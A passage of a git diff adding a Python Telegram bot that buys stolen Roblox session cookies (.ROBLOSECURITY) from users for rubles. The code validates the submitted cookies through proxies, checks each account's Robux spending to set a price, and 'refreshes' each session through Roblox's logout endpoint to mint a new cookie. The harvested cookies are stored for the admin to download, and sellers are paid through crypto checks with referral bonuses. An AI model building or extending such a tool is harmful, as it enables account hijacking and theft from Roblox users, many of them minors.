message.from_user.username, + referrer, + ) + + +@router.callback_query(F.data == "back_main") +async def cb_back_main(callback: CallbackQuery, state: FSMContext): + await state.clear() + try: + await callback.message.delete() + except Exception: + pass + await _show_start( + callback.message, + state, + callback.from_user.id, + callback.from_user.username, + ) + await callback.answer() diff --git a/handlers/upload.py b/handlers/upload.py new file mode 100644 index 0000000..ddbabae --- /dev/null +++ b/handlers/upload.py @@ -0,0 +1,233 @@ +from __future__ import annotations + +import asyncio +import random + +import aiohttp +from aiogram import F, Router +from aiogram.filters import StateFilter +from aiogram.fsm.context import FSMContext +from aiogram.types import Message + +from config import ADMIN_ID, COOKIE_FILES_DIR, FRESHER_BATCH_SIZE, ROBSEC_FILE +from db.storage import load_config, load_proxies, load_stats, save_stats +from db.users import get, register, save +from keyboards.user import back_kb, main_menu_kb +from models.pricing import CookieDonationInfo +from runtime import get_bot, get_log_bot +from services.admin import is_admin +from services.pricing import price_cookie_batch +from services.referrals import apply_referral_payout +from services.roblox import ( + check_cookie_with_retry, + fresh_cookie_async, + get_all_time_donate, + get_year_donate, +) +from utils.logging import log_admin, log_admin_document +from utils.parsing import parse_cookies_text + +router = Router(name="upload") + + +async def _blocked(message: Message) -> bool: + profile = get(message.from_user.id) + if profile is None: + register(message.from_user.id, message.from_user.username) + profile = get(message.from_user.id) + if profile.is_banned: + await message.answer(f"You are banned. Reason: {profile.ban_reason or '-'}") + return True + cfg = load_config() + if not cfg.bot_enabled and message.from_user.id != ADMIN_ID: + await message.answer("The bot is temporarily disabled.") + return True + if not cfg.shop_enabled and message.from_user.id != ADMIN_ID: + await message.answer("Cookie buying is temporarily disabled.") + return True + return False + + +@router.message(StateFilter(None), F.document) +async def handle_document(message: Message): + if is_admin(message.from_user.id): + await message.answer("Admin accounts cannot sell cookies. Use /admin.") + return + if await _blocked(message): + return + filename = message.document.file_name or "" + if not filename.lower().endswith(".txt"): + await message.answer("Send a .txt file.") + return + + path = COOKIE_FILES_DIR / f"{message.from_user.id}_{random.randint(100000, 999999)}.txt" + try: + await message.bot.download(message.document, destination=path) + text = path.read_text(encoding="utf-8", errors="ignore") + finally: + path.unlink(missing_ok=True) + await process_cookies(message, text) + + +@router.message(StateFilter(None), F.text & ~F.text.startswith("/")) +async def handle_text(message: Message): + if is_admin(message.from_user.id): + await message.answer("Admin accounts cannot sell cookies. Use /admin.") + return + if await _blocked(message): + return + text = message.text or "" + if "_|WARNING:-DO-NOT-SHARE-THIS." not in text: + await message.answer("Use the menu below or send cookie text.", reply_markup=main_menu_kb()) + return + await process_cookies(message, text) + + +async def process_cookies(message: Message, raw_text: str): + cookies, duplicates = parse_cookies_text(raw_text) + if not cookies: + await message.answer("No cookies were found in the submitted data.") + return + + cfg = load_config() + proxies = load_proxies() + total = len(cookies) + progress = await message.answer( + f"Processing cookies\nTotal: {total}\nDuplicates removed: {duplicates}\nStage: validation...", + parse_mode="HTML", + ) + + valid = [] + async with aiohttp.ClientSession() as session: + tasks = [check_cookie_with_retry(session, cookie, proxies) for cookie in cookies] + for index, task in enumerate(asyncio.as_completed(tasks), start=1): + try: + result = await task + if result.status == "valid": + valid.append(result) + except Exception: + pass + if index % 20 == 0 or index == total: + try: + await progress.edit_text( + f"Validation\nProgress: {index}/{total}\nValid: {len(valid)}", + parse_mode="HTML", + ) + except Exception: + pass + + if not valid: + await progress.edit_text(f"No valid cookies found. Duplicates: {duplicates}") + return + + await progress.edit_text(f"Checking donations\nValid cookies: {len(valid)}", parse_mode="HTML") + donations = [] + async with aiohttp.ClientSession() as session: + async def get_donation(result): + proxy = random.choice(proxies) if proxies else None + all_time = await get_all_time_donate(session, result.cookie, result.user_id, proxy) + year = await get_year_donate(result.cookie, result.user_id, proxy) + return CookieDonationInfo( + cookie=result.cookie, + user_id=result.user_id, + username=result.username, + all_time=all_time, + year=year, + ) + + donations = await asyncio.gather(*(get_donation(result) for result in valid)) + + priced, avg_used, avg_price = price_cookie_batch(donations, cfg) + if not priced: + await progress.edit_text( + f"No cookies matched the rates. Valid: {len(valid)}", + reply_markup=back_kb(), + ) + return + + await progress.edit_text( + f"Refreshing cookies\nPayable: {len(priced)}\nMethod: {'AVG' if avg_used else 'per-rate'}", + parse_mode="HTML", + ) + fresh_ok = [] + fresh_failed = 0 + for offset in range(0, len(priced), FRESHER_BATCH_SIZE): + batch = priced[offset:offset + FRESHER_BATCH_SIZE] + + async def refresh(item): + proxy = random.choice(proxies) if proxies else None + ok, refreshed = await fresh_cookie_async(item.cookie, proxy) + return item, ok, refreshed + + for item, ok, refreshed in await asyncio.gather(*(refresh(item) for item in batch)): + if ok and isinstance(refreshed, str) and refreshed.startswith("_|WARNING"): + fresh_ok.append((item, refreshed)) + else: + fresh_failed += 1 + try: + await progress.edit_text( + f"Refreshing cookies\nProgress: {min(offset + len(batch), len(priced))}/{len(priced)}\n" + f"Refreshed: {len(fresh_ok)}\nFailed: {fresh_failed}", + parse_mode="HTML", + ) + except Exception: + pass + + if not fresh_ok: + await progress.edit_text( + f"No cookies could be refreshed. Valid: {len(valid)}, failed: {fresh_failed}", + reply_markup=back_kb(), + ) + return + + ROBSEC_FILE.parent.mkdir(parents=True, exist_ok=True) + with ROBSEC_FILE.open("a", encoding="utf-8") as output: + output.writelines(f"{cookie}\n" for _, cookie in fresh_ok) + + user_file = COOKIE_FILES_DIR / f"robsec_{message.from_user.id}_{random.randint(100000, 999999)}.txt" + user_file.write_text("".join(f"{cookie}\n" for _, cookie in fresh_ok), encoding="utf-8") + payout = sum(item.price for item, _ in fresh_ok) + + profile = get(message.from_user.id) + if profile is None: + register(message.from_user.id, message.from_user.username) + profile = get(message.from_user.id) + profile.balance += payout + profile.total_earned += payout + profile.cookies_loaded += len(fresh_ok) + save(profile.user_id, profile) + + stats = load_stats() + stats.total_cookies += len(fresh_ok) + stats.total_paid_direct += payout + save_stats(stats) + bot = get_bot() or message.bot + await apply_referral_payout(bot, profile.user_id, profile.username, payout, cfg.referral_percent) + + method = "AVG" if avg_used else "per-rate" + report = ( + "Processing complete\n\n" + f"Total: {total}\nDuplicates: {duplicates}\nValid: {len(valid)}\n" + f"Payable: {len(priced)}\nRefreshed: {len(fresh_ok)}\nFailed refresh: {fresh_failed}\n" + f"Method: {method}\n" + ) + if avg_used: + report += f"AVG price: {avg_price:.2f} RUB\n" + report += f"\nPayout: {payout:.2f} RUB\nBalance: {profile.balance:.2f} RUB" + await progress.edit_text(report, parse_mode="HTML", reply_markup=main_menu_kb()) + + await log_admin( + bot, + ADMIN_ID, + f"Cookie purchase\n@{profile.username or '-'} ({profile.user_id})\n" + f"Total: {total}, valid: {len(valid)}, refreshed: {len(fresh_ok)}\nPayout: {payout:.2f} RUB", + get_log_bot(), + ) + await log_admin_document( + bot, + ADMIN_ID, + str(user_file), + caption=f"robsec from {profile.user_id}", + log_bot=get_log_bot(), + ) + user_file.unlink(missing_ok=True) diff --git a/handlers/user.py b/handlers/user.py new file mode 100644 index 0000000..325d875 --- /dev/null +++ b/handlers/user.py @@ -0,0 +1,127 @@ +from aiogram import F, Router +from aiogram.fsm.context import FSMContext +from aiogram.types import CallbackQuery + +from config import ADMIN_ID, BOT_USERNAME +from db.storage import load_config, load_stats +from db.users import get, register, save +from keyboards.user import back_kb +from runtime import get_bot, get_log_bot +from services.withdrawals import create_crypto_check +from utils.logging import log_admin, safe_edit + +router = Router(name="user") + + +def _get_profile(callback: CallbackQuery): + profile = get(callback.from_user.id) + if profile is None: + register(callback.from_user.id, callback.from_user.username) + profile = get(callback.from_user.id) + return profile + + +@router.callback_query(F.data == "profile") +async def cb_profile(callback: CallbackQuery, state: FSMContext): + await state.clear() + profile = _get_profile(callback) + cfg = load_config() + text = ( + "Your profile\n\n" + f"ID: {profile.user_id}\n" + f"Registered: {profile.registered}\n\n" + f"Cookies loaded: {profile.cookies_loaded}\n" + f"Total earned: {profile.total_earned:.2f} RUB\n" + f"Referral earnings: {profile.referral_earned:.2f} RUB\n" + f"Balance: {profile.balance:.2f} RUB\n\n" + f"Referral link:\nhttps://t.me/{BOT_USERNAME}?start=ref_{profile.user_id}\n\n" + f"Referral payout: {cfg.referral_percent}%\n" + f"Minimum withdrawal: {cfg.min_withdraw:.2f} RUB" + ) + await safe_edit(callback, text, reply_markup=back_kb()) + await callback.answer() + + +@router.callback_query(F.data == "stats") +async def cb_stats(callback: CallbackQuery, state: FSMContext): + await state.clear() + stats = load_stats() + text = ( + "Global statistics\n\n" + f"Users: {stats.total_users}\n" + f"Cookies: {stats.total_cookies}\n" + f"Direct payouts: {stats.total_paid_direct:.2f} RUB\n" + f"Referral payouts: {stats.total_paid_referral:.2f} RUB" + ) + await safe_edit(callback, text, reply_markup=back_kb()) + await callback.answer() + + +@router.callback_query(F.data == "rates") +async def cb_rates(callback: CallbackQuery, state: FSMContext): + await state.clear() + cfg = load_config() + text = "Current rates\n\n" + for rate in cfg.rates.values(): + text += f"- {rate.name}: {rate.price:.2f} RUB\n" + text += ( + f"\nAVG: {cfg.avg_min_cookies}+ donation cookies, " + f"{cfg.avg_min_price:.2f}-{cfg.avg_max_price:.2f} RUB per cookie." + ) + await safe_edit(callback, text, reply_markup=back_kb()) + await callback.answer() + + +@router.callback_query(F.data == "withdraw") +async def cb_withdraw(callback: CallbackQuery, state: FSMContext): + await state.clear() + profile = _get_profile(callback) + cfg = load_config() + if profile.balance < cfg.min_withdraw: + await safe_edit( + callback, + f"Insufficient balance: {profile.balance:.2f} RUB\n" + f"Minimum: {cfg.min_withdraw:.2f} RUB\n" + f"Treasury: {cfg.treasury:.2f} RUB", + reply_markup=back_kb(), + ) + await callback.answer() + return + if profile.balance > cfg.treasury: + await safe_edit( + callback, + f"Treasury funds are insufficient: {cfg.treasury:.2f} RUB.", + reply_markup=back_kb(), + ) + await callback.answer() + return + + await callback.answer("Creating check...") + await safe_edit(callback, "Creating your CryptoBot check...") + amount = profile.balance + check_url = await create_crypto_check(amount) + if not check_url: + await safe_edit(callback, "Could not create the check. Try again later.", reply_markup=back_kb()) + return + + profile.balance = 0.0 + save(profile.user_id, profile) + cfg.treasury = max(0.0, cfg.treasury - amount) + from db.storage import save_config + + save_config(cfg) + await safe_edit( + callback, + f"Check created for {amount:.2f} RUB.\n" + f"Activate check", + reply_markup=back_kb(), + disable_web_page_preview=True, + ) + bot = get_bot() or callback.message.bot + await log_admin( + bot, + ADMIN_ID, + f"Withdrawal\n@{profile.username or '-'} ({profile.user_id})\n" + f"Amount: {amount:.2f} RUB\nCheck: {check_url}", + get_log_bot(), + ) diff --git a/keyboards/admin.py b/keyboards/admin.py new file mode 100644 index 0000000..d0935f0 --- /dev/null +++ b/keyboards/admin.py @@ -0,0 +1,33 @@ +from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup + +from db.storage import load_config + + +def admin_menu_kb() -> InlineKeyboardMarkup: + cfg = load_config() + return InlineKeyboardMarkup( + inline_keyboard=[ + [InlineKeyboardButton( + text=f"Shop: {'ON' if cfg.shop_enabled else 'OFF'}", + callback_data="admin_toggle_shop", + )], + [InlineKeyboardButton( + text=f"Bot: {'ON' if cfg.bot_enabled else 'OFF'}", + callback_data="admin_toggle_bot", + )], + [InlineKeyboardButton(text="Users", callback_data="admin_users")], + [InlineKeyboardButton(text="Rates", callback_data="admin_rates")], + [InlineKeyboardButton(text="Broadcast", callback_data="admin_broadcast")], + [InlineKeyboardButton( + text=f"Minimum withdrawal: {cfg.min_withdraw:.2f} RUB", + callback_data="admin_min_withdraw", + )], + [InlineKeyboardButton( + text=f"Treasury: {cfg.treasury:.2f} RUB | Top up", + callback_data="admin_treasury", + )], + [InlineKeyboardButton(text="Download robsec.txt", callback_data="admin_robsec_get")], + [InlineKeyboardButton(text="Clear robsec.txt", callback_data="admin_robsec_clear")], + [InlineKeyboardButton(text="Close", callback_data="admin_close")], + ] + ) diff --git a/keyboards/user.py b/keyboards/user.py new file mode 100644 index 0000000..9867892 --- /dev/null +++ b/keyboards/user.py @@ -0,0 +1,27 @@ +from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup + +from config import SHOP_CHANNEL + + +def main_menu_kb() -> InlineKeyboardMarkup: + return InlineKeyboardMarkup( + inline_keyboard=[ + [ + InlineKeyboardButton(text="Profile", callback_data="profile"), + InlineKeyboardButton(text="Statistics", callback_data="stats"), + ], + [ + InlineKeyboardButton(text="Rates", callback_data="rates"), + InlineKeyboardButton(text="Withdraw", callback_data="withdraw"), + ], + [InlineKeyboardButton(text="Channel", url=SHOP_CHANNEL)], + ] + ) + + +def back_kb(callback_data: str = "back_main") -> InlineKeyboardMarkup: + return InlineKeyboardMarkup( + inline_keyboard=[ + [InlineKeyboardButton(text="Back", callback_data=callback_data)] + ] + ) diff --git a/main.py b/main.py new file mode 100644 index 0000000..ade9403 --- /dev/null +++ b/main.py @@ -0,0 +1,54 @@ +import asyncio +import logging +from datetime import datetime + +from aiogram import Bot, Dispatcher +from aiogram.enums import ParseMode +from aiogram.fsm.storage.memory import MemoryStorage +from aiogram.client.default import DefaultBotProperties + +from config import ADMIN_ID, BOT_TOKEN, LOG_BOT_TOKEN, SHOP_NAME +from db.storage import load_config, load_stats +from handlers import admin, start, upload, user +from runtime import set_bots +from utils.logging import log_admin + + +async def main() -> None: + defaults = DefaultBotProperties(parse_mode=ParseMode.HTML) + bot = Bot(token=BOT_TOKEN, default=defaults) + log_bot = Bot(token=LOG_BOT_TOKEN, default=defaults) if LOG_BOT_TOKEN else None + set_bots(bot, log_bot) + + dispatcher = Dispatcher(storage=MemoryStorage()) + dispatcher.include_router(start.router) + dispatcher.include_router(user.router) + dispatcher.include_router(admin.router) + dispatcher.include_router(upload.router) + + load_config() + load_stats() + await log_admin( + bot, + ADMIN_ID, + f"{SHOP_NAME} started\n{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}", + log_bot, + ) + try: + await dispatcher.start_polling(bot) + finally: + if log_bot: + await log_bot.session.close() + await bot.session.close() + + +if __name__ == "__main__": + logging.basicConfig( + level=logging.INFO, + format="%(asctime)s - %(levelname)s - %(message)s", + handlers=[ + logging.FileHandler("bot.log", encoding="utf-8"), + logging.StreamHandler(), + ], + ) + asyncio.run(main()) diff --git a/models/config.py b/models/config.py new file mode 100644 index 0000000..6ea9c05 --- /dev/null +++ b/models/config.py @@ -0,0 +1,125 @@ +from dataclasses import dataclass, field +from typing import Any + + +@dataclass(slots=True) +class RateConfig: + name: str + price: float + min: int + max: int + type: str + + @classmethod + def from_dict(cls, data: dict[str, Any]) -> "RateConfig": + return cls( + name=data.get("name", ""), + price=float(data.get("price", 0.0)), + min=int(data.get("min", 0)), + max=int(data.get("max", 0)), + type=data.get("type", "lifetime"), + ) + + def to_dict(self) -> dict[str, Any]: + return { + "name": self.name, + "price": self.price, + "min": self.min, + "max": self.max, + "type": self.type, + } + + +@dataclass(slots=True) +class BotConfig: + shop_enabled: bool = True + bot_enabled: bool = True + min_withdraw: float = 100.0 + treasury: float = 0.0 + referral_percent: int = 5 + rates: dict[str, RateConfig] = field(default_factory=dict) + avg_min_cookies: int = 100 + avg_min_price: float = 2.0 + avg_max_price: float = 20.0 + + @classmethod + def default(cls) -> "BotConfig": + return cls( + shop_enabled=True, + bot_enabled=True, + min_withdraw=100.0, + treasury=0.0, + referral_percent=5, + rates={ + "lifetime_low": RateConfig( + name="Lifetime 200-399 R$", + price=0.33, + min=200, + max=399, + type="lifetime", + ), + "lifetime_mid": RateConfig( + name="Lifetime 400-4999 R$", + price=3.10, + min=400, + max=4999, + type="lifetime", + ), + "lifetime_high": RateConfig( + name="Lifetime 5000+ R$", + price=8.88, + min=5000, + max=10**12, + type="lifetime", + ), + "year_mid": RateConfig( + name="Year 1000-4999 R$", + price=8.40, + min=1000, + max=4999, + type="year", + ), + "year_high": RateConfig( + name="Year 5000+ R$", + price=11.11, + min=5000, + max=10**12, + type="year", + ), + }, + avg_min_cookies=100, + avg_min_price=2.0, + avg_max_price=20.0, + ) + + @classmethod + def from_dict(cls, data: dict[str, Any] | None) -> "BotConfig": + data = data or {} + rates = data.get("rates") or {} + return cls( + shop_enabled=bool(data.get("shop_enabled", True)), + bot_enabled=bool(data.get("bot_enabled", True)), + min_withdraw=float(data.get("min_withdraw", 100.0)), + treasury=float(data.get("treasury", 0.0)), + referral_percent=int(data.get("referral_percent", 5)), + rates={ + key: RateConfig.from_dict(value) + for key, value in rates.items() + }, + avg_min_cookies=int(data.get("avg_min_cookies", 100)), + avg_min_price=float(data.get("avg_min_price", 2.0)), + avg_max_price=float(data.get("avg_max_price", 20.0)), + ) + + def to_dict(self) -> dict[str, Any]: + return { + "shop_enabled": self.shop_enabled, + "bot_enabled": self.bot_enabled, + "min_withdraw": self.min_withdraw, + "treasury": self.treasury, + "referral_percent": self.referral_percent, + "rates": {key: value.to_dict() for key, value in self.rates.items()}, + "avg_min_cookies": self.avg_min_cookies, + "avg_min_price": self.avg_min_price, + "avg_max_price": self.avg_max_price, + } diff --git a/models/pricing.py b/models/pricing.py new file mode 100644 index 0000000..6713dcc --- /dev/null +++ b/models/pricing.py @@ -0,0 +1,24 @@ +from dataclasses import dataclass + + +@dataclass(slots=True) +class CookieDonationInfo: + cookie: str + user_id: int + username: str | None + all_time: int + year: int + + +@dataclass(slots=True) +class PricingResult: + cookie: str + user_id: int + username: str | None + all_time: int + year: int + price: float + rate_key: str | None = None + rate_name: str | None = None + donate_used: int = 0 + is_avg: bool = False diff --git a/models/responses.py b/models/responses.py new file mode 100644 index 0000000..277cda8 --- /dev/null +++ b/models/responses.py @@ -0,0 +1,10 @@ +from dataclasses import dataclass + + +@dataclass(slots=True) +class CookieValidationResult: + status: str + cookie: str | None = None + user_id: int | None = None + username: str | None = None + message: str | None = None diff --git a/models/stats.py b/models/stats.py new file mode 100644 index 0000000..076c461 --- /dev/null +++ b/models/stats.py @@ -0,0 +1,32 @@ +from dataclasses import dataclass +from typing import Any + + +@dataclass(slots=True) +class BotStats: + total_users: int = 0 + total_cookies: int = 0 + total_paid_direct: float = 0.0 + total_paid_referral: float = 0.0 + + @classmethod + def default(cls) -> "BotStats": + return cls() + + @classmethod + def from_dict(cls, data: dict[str, Any] | None) -> "BotStats": + data = data or {} + return cls( + total_users=int(data.get("total_users", 0)), + total_cookies=int(data.get("total_cookies", 0)), + total_paid_direct=float(data.get("total_paid_direct", 0.0)), + total_paid_referral=float(data.get("total_paid_referral", 0.0)), + ) + + def to_dict(self) -> dict[str, Any]: + return { + "total_users": self.total_users, + "total_cookies": self.total_cookies, + "total_paid_direct": self.total_paid_direct, + "total_paid_referral": self.total_paid_referral, + } diff --git a/models/user.py b/models/user.py new file mode 100644 index 0000000..b48ad31 --- /dev/null +++ b/models/user.py @@ -0,0 +1,68 @@ +from dataclasses import dataclass, field +from typing import Any + + +@dataclass(slots=True) +class UserProfile: + user_id: int + username: str | None = None + registered: str = "" + cookies_loaded: int = 0 + total_earned: float = 0.0 + referral_earned: float = 0.0 + balance: float = 0.0 + referrer: int | None = None + referrals: list[int] = field(default_factory=list) + is_admin: bool = False + is_banned: bool = False + ban_reason: str = "" + + @classmethod + def default( + cls, + user_id: int, + username: str | None = None, + registered: str = "", + referrer: int | None = None, + is_admin: bool = False, + ) -> "UserProfile": + return cls( + user_id=user_id, + username=username, + registered=registered, + referrer=referrer, + is_admin=is_admin, + ) + + @classmethod + def from_dict(cls, data: dict[str, Any]) -> "UserProfile": + return cls( + user_id=int(data.get("user_id", 0)), + username=data.get("username"), + registered=data.get("registered", ""), + cookies_loaded=int(data.get("cookies_loaded", 0)), + total_earned=float(data.get("total_earned", 0.0)), + referral_earned=float(data.get("referral_earned", 0.0)), + balance=float(data.get("balance", 0.0)), + referrer=data.get("referrer"), + referrals=[int(x) for x in data.get("referrals", [])], + is_admin=bool(data.get("is_admin", False)), + is_banned=bool(data.get("is_banned", False)), + ban_reason=data.get("ban_reason", ""), + ) + + def to_dict(self) -> dict[str, Any]: + return { + "user_id": self.user_id, + "username": self.username, + "registered": self.registered, + "cookies_loaded": self.cookies_loaded, + "total_earned": self.total_earned, + "referral_earned": self.referral_earned, + "balance": self.balance, + "referrer": self.referrer, + "referrals": self.referrals, + "is_admin": self.is_admin, + "is_banned": self.is_banned, + "ban_reason": self.ban_reason, + } diff --git a/runtime.py b/runtime.py new file mode 100644 index 0000000..766997b --- /dev/null +++ b/runtime.py @@ -0,0 +1,20 @@ +from __future__ import annotations + +from aiogram import Bot + +_bot: Bot | None = None +_log_bot: Bot | None = None + + +def set_bots(bot: Bot, log_bot: Bot | None = None) -> None: + global _bot, _log_bot + _bot = bot + _log_bot = log_bot + + +def get_bot() -> Bot | None: + return _bot + + +def get_log_bot() -> Bot | None: + return _log_bot diff --git a/services/admin.py b/services/admin.py new file mode 100644 index 0000000..4089e54 --- /dev/null +++ b/services/admin.py @@ -0,0 +1,197 @@ +from __future__ import annotations + +import asyncio +import os + +from aiogram.enums import ParseMode +from aiogram.types import FSInputFile, InlineKeyboardButton, InlineKeyboardMarkup + +from config import ADMIN_ID, BOT_USERNAME, ROBSEC_FILE +from db.storage import load_config, save_config, load_stats, save_stats +from db.users import all_users, get, save, find_by_username +from keyboards.admin import admin_menu_kb +from models.user import UserProfile +from runtime import get_log_bot +from utils.logging import log_admin, log_admin_document, safe_edit + + +def is_admin(user_id: int) -> bool: + if user_id == ADMIN_ID: + return True + profile = get(user_id) + return bool(profile and profile.is_admin) + + +def toggle_shop() -> bool: + cfg = load_config() + cfg.shop_enabled = not cfg.shop_enabled + save_config(cfg) + return cfg.shop_enabled + + +def toggle_bot() -> bool: + cfg = load_config() + cfg.bot_enabled = not cfg.bot_enabled + save_config(cfg) + return cfg.bot_enabled + + +def update_rate(key: str, price: float) -> None: + cfg = load_config() + if key in cfg.rates: + cfg.rates[key].price = price + save_config(cfg) + + +def update_min_withdraw(value: float) -> None: + cfg = load_config() + cfg.min_withdraw = value + save_config(cfg) + + +def add_treasury(amount_rub: float) -> float: + cfg = load_config() + cfg.treasury += amount_rub + save_config(cfg) + return cfg.treasury + + +def subtract_treasury(amount_rub: float) -> float: + cfg = load_config() + cfg.treasury = max(0.0, cfg.treasury - amount_rub) + save_config(cfg) + return cfg.treasury + + +def robsec_info() -> tuple[int, int]: + if not os.path.exists(ROBSEC_FILE): + return 0, 0 + size = os.path.getsize(ROBSEC_FILE) + try: + with open(ROBSEC_FILE, "r", encoding="utf-8", errors="ignore") as fh: + lines = sum(1 for _ in fh) + except Exception: + lines = 0 + return lines, size + + +def clear_robsec() -> None: + with open(ROBSEC_FILE, "w", encoding="utf-8") as fh: + fh.write("") + + +async def send_user_card(target, uid: int) -> None: + profile = get(uid) + if not profile: + return + text = ( + f"👤 Пользователь\n\n" + f"🆔 ID: {uid}\n" + f"👤 @{profile.username or '—'}\n" + f"📅 Рег: {profile.registered or '?'}\n" + f"💳 Баланс: {profile.balance:.2f} ₽\n" + f"💰 Всего: {profile.total_earned:.2f} ₽\n" + f"🍪 Куки: {profile.cookies_loaded}\n" + f"👥 Рефералов: {len(profile.referrals)}\n" + f"👑 Админ: {'✅' if profile.is_admin else '❌'}\n" + f"🚫 Бан: {'✅ ' + profile.ban_reason if profile.is_banned else '❌'}" + ) + kb = InlineKeyboardMarkup( + inline_keyboard=[ + [ + InlineKeyboardButton(text="➕ Баланс", callback_data=f"u_bal_add_{uid}"), + InlineKeyboardButton(text="➖ Баланс", callback_data=f"u_bal_sub_{uid}"), + ], + [ + InlineKeyboardButton( + text="🚫 Разбанить" if profile.is_banned else "🚫 Забанить", + callback_data=f"u_ban_{uid}", + ) + ], + [ + InlineKeyboardButton( + text="👑 Убрать админку" if profile.is_admin else "👑 Выдать админку", + callback_data=f"u_admin_{uid}", + ) + ], + [InlineKeyboardButton(text="🔙 Назад", callback_data="admin_back")], + ] + ) + if hasattr(target, "answer"): + await target.answer(text, parse_mode=ParseMode.HTML, reply_markup=kb) + else: + await safe_edit(target, text, reply_markup=kb) + + +async def broadcast(bot, text: str | None = None, photo_id: str | None = None, caption: str | None = None) -> tuple[int, int]: + ok = 0 + fail = 0 + for uid in all_users(): + try: + if photo_id: + await bot.send_photo(uid, photo_id, caption=caption or "", parse_mode=ParseMode.HTML) + else: + await bot.send_message(uid, text or caption or "-", parse_mode=ParseMode.HTML) + ok += 1 + except Exception: + fail += 1 + await asyncio.sleep(0.05) + return ok, fail + + +def find_user(query: str) -> int | None: + if query.isdigit(): + uid = int(query) + return uid if get(uid) else None + return find_by_username(query) + + +def set_balance(uid: int, value: float) -> None: + profile = get(uid) + if not profile: + return + profile.balance = value + save(uid, profile) + + +def add_balance(uid: int, amount: float) -> None: + profile = get(uid) + if not profile: + return + profile.balance += amount + save(uid, profile) + + +def sub_balance(uid: int, amount: float) -> None: + profile = get(uid) + if not profile: + return + profile.balance = max(0.0, profile.balance - amount) + save(uid, profile) + + +def toggle_user_admin(uid: int) -> bool: + profile = get(uid) + if not profile: + return False + profile.is_admin = not profile.is_admin + save(uid, profile) + return profile.is_admin + + +def ban_user(uid: int, reason: str) -> None: + profile = get(uid) + if not profile: + return + profile.is_banned = True + profile.ban_reason = reason + save(uid, profile) + + +def unban_user(uid: int) -> None: + profile = get(uid) + if not profile: + return + profile.is_banned = False + profile.ban_reason = "" + save(uid, profile) diff --git a/services/pricing.py b/services/pricing.py new file mode 100644 index 0000000..136980a --- /dev/null +++ b/services/pricing.py @@ -0,0 +1,84 @@ +from __future__ import annotations + +from models.config import BotConfig, RateConfig +from models.pricing import CookieDonationInfo, PricingResult + + +def find_rate_for_cookie(all_time: int, year: int, rates: dict[str, RateConfig]): + best = None + best_price = -1.0 + for key, rate in rates.items(): + donate = year if rate.type == "year" else all_time + if rate.min <= donate <= rate.max and rate.price > best_price: + best_price = rate.price + best = (key, rate, donate) + if best: + return best + return (None, None, 0) + + +def calc_avg_price(donates: list[int], cfg: BotConfig) -> float: + if not donates: + return 0.0 + avg = sum(donates) / len(donates) + price = avg / 1000.0 + price = max(cfg.avg_min_price, min(cfg.avg_max_price, price)) + return round(price, 2) + + +def price_cookie_batch( + donates: list[CookieDonationInfo], + cfg: BotConfig, +) -> tuple[list[PricingResult], bool, float]: + priced: list[PricingResult] = [] + unpriced: list[CookieDonationInfo] = [] + + for item in donates: + key, rate, donate_used = find_rate_for_cookie(item.all_time, item.year, cfg.rates) + if rate: + priced.append( + PricingResult( + cookie=item.cookie, + user_id=item.user_id, + username=item.username, + all_time=item.all_time, + year=item.year, + price=rate.price, + rate_key=key, + rate_name=rate.name, + donate_used=donate_used, + ) + ) + elif item.all_time > 0: + unpriced.append(item) + + all_donate_infos = [item for item in donates if item.all_time > 0] + total_donate_cookies = len(all_donate_infos) + + avg_used = False + avg_price = 0.0 + if total_donate_cookies >= cfg.avg_min_cookies: + avg_price = calc_avg_price([item.all_time for item in all_donate_infos], cfg) + avg_total = avg_price * total_donate_cookies + piece_total = sum(item.price for item in priced) + if avg_total > piece_total: + avg_used = True + + payable: list[PricingResult] = [] + if avg_used: + for item in all_donate_infos: + payable.append( + PricingResult( + cookie=item.cookie, + user_id=item.user_id, + username=item.username, + all_time=item.all_time, + year=item.year, + price=avg_price, + is_avg=True, + ) + ) + else: + payable.extend(priced) + + return payable, avg_used, avg_price diff --git a/services/referrals.py b/services/referrals.py new file mode 100644 index 0000000..57dbec7 --- /dev/null +++ b/services/referrals.py @@ -0,0 +1,38 @@ +from __future__ import annotations + +from config import ADMIN_ID +from db.storage import load_stats, save_stats +from db.users import get, save + + +async def apply_referral_payout(bot, user_id: int, username: str | None, payout: float, referral_percent: int) -> float: + profile = get(user_id) + if not profile or not profile.referrer: + return 0.0 + + ref_amount = round(payout * referral_percent / 100, 2) + ref_profile = get(profile.referrer) + if not ref_profile: + return 0.0 + + ref_profile.balance += ref_amount + ref_profile.total_earned += ref_amount + ref_profile.referral_earned += ref_amount + save(profile.referrer, ref_profile) + + stats = load_stats() + stats.total_paid_referral += ref_amount + save_stats(stats) + + try: + await bot.send_message( + profile.referrer, + f"💸 Реферал @{username or '—'} заработал {payout:.2f} ₽\n" + f"Вам начислено: {ref_amount:.2f} ₽", + parse_mode="HTML", + ) + except Exception: + pass + + return ref_amount + diff --git a/services/roblox.py b/services/roblox.py new file mode 100644 index 0000000..d871632 --- /dev/null +++ b/services/roblox.py @@ -0,0 +1,245 @@ +from __future__ import annotations + +import asyncio +import logging +import random + +import aiohttp +import requests as plain_requests + +from config import CONCURRENT_CHECKS, FRESHER_POOL, MAX_RETRIES, REQUEST_TIMEOUT +from models.responses import CookieValidationResult + +try: + from curl_cffi import requests as cffi_requests + + HAS_CFFI = True +except ImportError: # pragma: no cover - optional dependency + cffi_requests = None + HAS_CFFI = False + +SEMAPHORE = asyncio.Semaphore(CONCURRENT_CHECKS) + + +def _new_fresher_session(): + if HAS_CFFI: + return cffi_requests.Session(impersonate="chrome120") + session = plain_requests.Session() + session.headers["User-Agent"] = ( + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 " + "(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" + ) + return session + + +def _extract_new_cookie(response): + try: + cookie = response.cookies.get(".ROBLOSECURITY") + if cookie: + return cookie + except Exception: + pass + sc = response.headers.get("set-cookie", "") or response.headers.get("Set-Cookie", "") + if ".ROBLOSECURITY=" in sc: + try: + return sc.split(".ROBLOSECURITY=")[1].split(";")[0] + except Exception: + pass + return None + + +def _sync_fresh_cookie(cookie, proxy=None, timeout=15): + if not cookie or not cookie.startswith("_|WARNING"): + return False, "invalid cookie format" + + proxies = {"http": proxy, "https": proxy} if proxy else None + session = _new_fresher_session() + + try: + r1 = session.post( + "https://auth.roblox.com/v2/logout", + cookies={".ROBLOSECURITY": cookie}, + proxies=proxies, + timeout=timeout, + 